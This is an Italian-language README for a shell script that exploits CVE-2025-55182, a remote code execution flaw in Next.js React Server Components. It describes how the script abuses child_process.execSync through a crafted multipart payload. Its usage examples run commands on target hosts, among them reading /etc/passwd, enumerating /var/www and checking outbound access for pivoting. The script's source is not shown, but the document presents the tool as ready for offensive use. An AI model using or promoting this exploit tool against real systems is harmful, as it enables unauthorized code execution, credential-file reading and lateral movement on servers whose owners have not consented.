CVE-2025-55182 Scanner Avanzato

Un'utility di sfruttamento completa per CVE-2025-55182 — Esecuzione remota di codice tramite React Server Components in Next.js. Lo scanner costruisce automaticamente il payload multipart e abusa di process.mainModule.require('child_process').execSync() per ottenere l'esecuzione arbitraria di comandi del sistema operativo sulle istanze vulnerabili.

Caratteristiche

Generatore automatico di payload — nessuna codifica manuale necessaria Esecuzione di comandi con estrazione pulita dello STDOUT Rilevamento automatico del protocollo (https:// applicato se mancante) Decodifica URL corretta + ripristino delle nuove righe Output ricco e colorato per un feedback rapido all'operatore Fingerprinting degli errori (500 / 403 / SSL / timeout / pattern WAF)

Installazione chmod +x scanner.sh

Utilizzo

Scan predefinita (esegue 'id')

./scanner.sh -d vulnerable-app.com

Esecuzione di un comando personalizzato

./scanner.sh -d vulnerable-app.com -c "whoami"

Con protocollo esplicito

./scanner.sh -d http://localhost:3000 -c "cat /etc/passwd"

Opzioni

Esempi

Verifica RCE

./scanner.sh -d shop.example.com

Fingerprinting del sistema

./scanner.sh -d shop.example.com -c "uname -a"

Enumera i percorsi scrivibili

./scanner.sh -d shop.example.com -c "ls -la /var/www"

Aiuto per il pivot — controlla l'accesso in uscita

./scanner.sh -d shop.example.com -c "ping -c 4 google.com"

Sentiti libero di contattarmi via mailto:[email protected]